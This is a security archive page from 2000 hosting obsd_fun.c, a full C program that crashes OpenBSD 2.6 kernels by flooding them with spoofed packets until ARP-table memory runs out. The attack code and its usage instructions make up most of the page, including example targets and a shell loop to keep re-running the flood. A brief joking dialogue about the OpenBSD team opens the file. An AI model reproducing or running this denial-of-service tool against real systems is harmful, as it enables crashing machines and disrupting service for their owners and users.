what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

obsd_fun.c

obsd_fun.c
Posted Oct 6, 2000
Authored by anonymous | Site segfault.net

OpenBSD 2.6 local / remote denial of service attack. Sends a large number of ARP packets, causing the kernel to run out of memory and panic. Only works on machines connected to the same network segment.

tags | remote, denial of service, kernel, local
systems | openbsd
SHA-256 | c315e76c3370cc028713b496c13dfe8221b257801769c58c9b190e32627b5f03

obsd_fun.c

Change Mirror Download
"hello hello obsd team. my obsd box panics every few seconds.
what the hell is wrong?"

"oh ? really ? hmm...out of space in kmem_map ?"

"YES. you know about this bug ?"

"yes. some kiddo is running a DoS against your box.
we fixed it in 2.7. the kernel runs out of memory if you
flood it with arp-request. ..but..psssstt..."

"oh. ok. i wont tell anyone. ive heard of some
other exploits for obsd. maybe its time to change
the 'Three years without a remote hole in the default install!'
to '3 years without releasing an advisory' ?"

[just kidding. obsd is a good [best?] OS when it comes
to security. but never forgett: 'dont trust the trust' :)]

/*
* [local/remote] kernel-panic DoS against openBSD 2.6
* 20000802, anonymous@segfault.net
*
* works on local lan or any host which can be reached through
* gateways with rp_filter = 0 [default on most linux routers and most other
* OS'es. take a look at /proc/sys/net/ipv4/conf/default/rp_filter].
*
* panic: malloc: out of space in kmem_map,
* Stopped at: _debugger+0x4: ieave
*
* this is nothing special. The kernel runs out of memory
* and panics.
*
* ./obsd_fun <target ip> <network> <count>
* target_ip is the ...wtf..you know what it is.
* network is the beginning of the network of the target_ip.
* count is the number of hosts we spoof from.
*
* How does it work ?:
* While coding some scanning tool i saw that linux was unable
* to handle 1000 arp-request/sec [arp-table overflow].
* I thought obsd could be able to handle 1k arp-request/sec..but
* i was wrong.
*
* First DoS was a local one. All I did was sent
* packets to thousend of hosts on the same network.
* [it doesnt matter if the hosts exist or not]
* The Obsd kernel paniced after a few seconds.
* I leave it as an exercise for the reader to reengineer the local DoS.
* [addon after a 'bratwurscht'-break: i took the exercise myself.]
*
* Remote DoS:
* We send thousends of spoofed packets to the target machiene.
* The target machiene tries to answer these packets [with
* a tcp-syn, tcp-rst ,icmp-port-unreachable or whatever].
*
* For that it needs the mac-address of the origin host.
* If this host does not exist the Obsd box will never get
* an answer and w8 for the arp-reply until it timesout.
* Thats it. We simply overflow the arp-table/memory.
*
* I use tcp-packets in this example. It also works with udp or icmp.
*
* How to use it?:
* gcc -Wall -o obsd_fun obsd_fun.c
* If the host-ip is 10.23.13.37 on a 10.23/16 network:
* leetbox:~# ./obsd_fun 10.23.13.37 10.23.0.1 65534
*
* A count of 20.000 works fine here. But my box only has 64 MB ram.
* If this doesnt work try bigger values.
* If this still does not work...try an endless loop:
* while :; do ./obsd_fun 10.23.13.37 10.23.0.1 65534 ; done
* [sound crazy..but it works. I was unable to DoS a obsd 2.6 on
* a /16-network with 128 MB ram and a count of 65334...but after
* 6-loops the box paniced]
*
* Local DoS:
* Works like the remote one. But we use udp this time:
* myfirstobsd:~$ ./obsd_fun 10.23.0.1 32000
* works fine on my 64 MB obsd 2.6 box.
*
*
* Oh..i forgott something:
* Basicly i dont like DoS-attacks or really lame (d)dos attacks.
* It SUCKs. Thats really not what hacking is about.
*
* Greetings: yum. this is a DoS. to lame for greetings.
*
*
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __BSD_SOURCE
#define __BSD_SOURCE
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

#define ETH_SIZE 14
#define IP_SIZE 20
#define TCP_SIZE 20

#define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x)))

/*
* Checksum stuff
*/
#define CKSUM_CARRY(x) \
(x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))

/*
* leet net tuple
*/
struct net_tuple
{
uint32_t src;
unsigned short int sport;
uint32_t dst;
unsigned short int dport;
};

/*
* pseudo TCP header for calculating the chksum
*/
struct _fakehead {
uint32_t saddr;
uint32_t daddr;
uint8_t zero;
uint8_t protocol;
uint16_t tot_len;
};

unsigned char packet[128];

/*
* calc. checksum WITH carry flag.
* call cksum = CKSUM_CARRY(in_cksum(blah));
*/
int
in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
u_short *w = addr;
u_short answer = 0;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}

if (nleft == 1) /* padding */
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}

return(sum);
}


void
add_tcphdr(unsigned char *pkt, struct net_tuple *nt, uint8_t flags)
{
struct tcphdr tcp;
struct _fakehead fakehead;
int sum;

memset(&tcp, 0, sizeof(tcp));
memset(&fakehead, 0, sizeof(fakehead));

tcp.th_dport = nt->dport;
tcp.th_sport = nt->sport;
fakehead.saddr = nt->src;
fakehead.daddr = nt->dst;
fakehead.zero = 0,
fakehead.protocol = 6;
fakehead.tot_len = htons(TCP_SIZE);
sum = in_cksum((u_short *)&fakehead, sizeof(fakehead));
tcp.th_off = TCP_SIZE >> 2;
tcp.th_seq = 31337; /* ###fixme */
tcp.th_flags |= flags; /* ADD the flags */
tcp.th_win = htons(0x3fff);
sum += in_cksum((u_short *)&tcp, sizeof(tcp));
tcp.th_sum = CKSUM_CARRY(sum);
memcpy(pkt, &tcp, sizeof(tcp));
}



/*
* add's ipv4-header of 20 bytes without any options
* - IPPROTO_TCP and 40 bytes total length
*/
void
add_iphdr(unsigned char *pkt, struct net_tuple *nt)
{
struct ip ip;

memset(&ip, 0, 20);
ip.ip_hl = sizeof(ip) >> 2;
ip.ip_v = 4;
/*ip->tos = 0;*/
ip.ip_len = htons(IP_SIZE + TCP_SIZE); /* htons ? */
/*ip->id = 0; done by kernel */
/*ip->frag_off = 0;*/
ip.ip_ttl = 0xff;
ip.ip_p = IPPROTO_TCP;
/*.ip->check = 0; done by kernel */
ip.ip_src.s_addr = nt->src;
ip.ip_dst.s_addr = nt->dst;
memcpy(pkt, &ip, sizeof(ip));
}


/*
* send out ipv4-packet
* with data 'pkt' of length 'len'
* returns the number of characters sent, or -1 if an error occured
*/
int
send_ipv4(int sox, u_char *pkt, size_t len)
{
struct sockaddr_in to;

to.sin_family = AF_INET;
memcpy(&to.sin_addr.s_addr, (pkt + 4*4), sizeof(u_long));

return(sendto(sox, pkt, len, 0 , (struct sockaddr *)&to, sizeof(to)) );
}

/*
* for a local DoS.
* we use udp this time [much easier, much faster, but only local:)]
*/
void
local_dos(char *argv[])
{
struct sockaddr_in saddr;
int c=0;
int sox;
int iprunner;

if( (sox = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
fprintf(stderr, "error creating socket\n");
exit(1);
}

memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(31337);
iprunner = ntohl(inet_addr(argv[1]));

while (c++< atoi(argv[2]))
{
saddr.sin_addr.s_addr = htonl(iprunner++);
sendto(sox, NULL, 0, 0, (struct sockaddr *)&saddr, sizeof(saddr));
}

printf("not working ?! wtf ! mailme asap anonymous@segfault.net\n");
exit(0);

}


void
usage(int code)
{
printf("\n4local DoS:\n");
printf("obsd_fun <network> <count>\n");
printf(" obsd_fun 10.23.0.1 32000\n\n");
printf("4 remote DoS:\n");
printf("obsd_fun <target_ip> <network> <count>\n");
printf(" obsd_fun 10.23.13.37 10.23.0.1 65000\n\n");
exit(code);
}

int
main(int argc, char *argv[])
{
struct net_tuple nt;
int sox;
int on = 1;
unsigned long iprunner;
int c=0;

if (argc < 3)
usage(0);
if (argc == 3)
local_dos(argv);

memset(&nt, 0, sizeof(nt));

if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "error creating socket\n");
exit(1);
}
if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
{
fprintf(stderr, "error setsockopt\n");
exit(1);
}

printf("nuking %s on network %s with %d ip's\n",
argv[1], argv[2], atoi(argv[3]));

nt.dport = htons(31337);
nt.sport = htons(31338);
if ( (nt.dst = inet_addr(argv[1])) == -1)
{
fprintf(stderr, "nah. use IP insteat of hostname.\n");
exit(0);
}
iprunner = ntohl(inet_addr(argv[2]));
memset(packet, 0 , sizeof(packet));

while (c++< atoi(argv[3]))
{
nt.src = htonl(iprunner++);
add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN);
add_iphdr(packet + ETH_SIZE, &nt);
send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE);
}

printf("done. Try an endless loop if box is still alive.\n");
return(0);
}

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close